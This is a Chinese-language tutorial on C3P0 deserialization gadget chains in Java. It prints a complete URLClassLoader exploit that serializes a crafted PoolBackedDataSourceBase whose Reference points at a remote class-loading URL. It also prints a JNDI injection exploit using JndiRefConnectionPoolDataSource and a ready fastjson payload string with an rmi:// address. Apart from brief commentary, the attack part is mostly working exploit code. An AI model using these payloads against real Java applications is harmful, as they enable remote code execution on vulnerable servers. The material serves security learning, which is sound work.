前言

C3P0是一个开源的JDBC连接池，它实现了数据源和JNDI绑定，支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。之前有接触到过，但是没有深入了解，像之前学二次反序列化时，WrapperConnectionPoolDataSource就是C3P0的

环境搭建

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

URLClassLoader

初学者必学的一条链，先给出完整exp，然后一步步分析

package org.example;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class urlClassLoader {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
        PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        //此类是PoolBackedDataSourceBase抽象类的实现
        Field f1 = clazz.getDeclaredField("connectionPoolDataSource");
        f1.setAccessible(true);
        f1.set(a,new evil());

        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
        ser.writeObject(a);
        ser.close();
        ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
        unser.readObject();
        unser.close();
    }
    public static class evil implements ConnectionPoolDataSource, Referenceable {
        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("evilref","evilref","http://127.0.0.1:1099/");
        }
    }
}

先看序列化的过程，进入PoolBackedDataSourceBase这个类看看writeObject

hex base/WrapperConnectionPoolDataSource

如果不出网，而且是fastjson或jackson的情况，可以用这个Gadget，这条链以前见过，就是学二次反序列化时的C3P0那条链，所以这里就不再讲，可以去看看我讲二次反序列化的那篇文章

JNDI

同样也是在fastjson，jackson环境中可用

package org.example;

import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;

import java.beans.PropertyVetoException;
import java.sql.SQLException;

public class JNDI {
    public static void main(String[] args) throws PropertyVetoException, SQLException {
        JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
        exp.setJndiName("rmi://127.0.0.1:1099/evilref");
        exp.setLoginTimeout(1);
    }
}


fastjson exp:
String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}"

首先JndiRefConnectionPoolDataSource类中有属性jndiname及其setter方法，其setter方法会调用内部的JndiRefForwardingDataSource对象的setJndiName方法，改变JndiRefForwardingDataSource#jndiname的值，漏洞点在setLoginTimeout处，我们追踪进去，经过几次setLoginTimeout来到这

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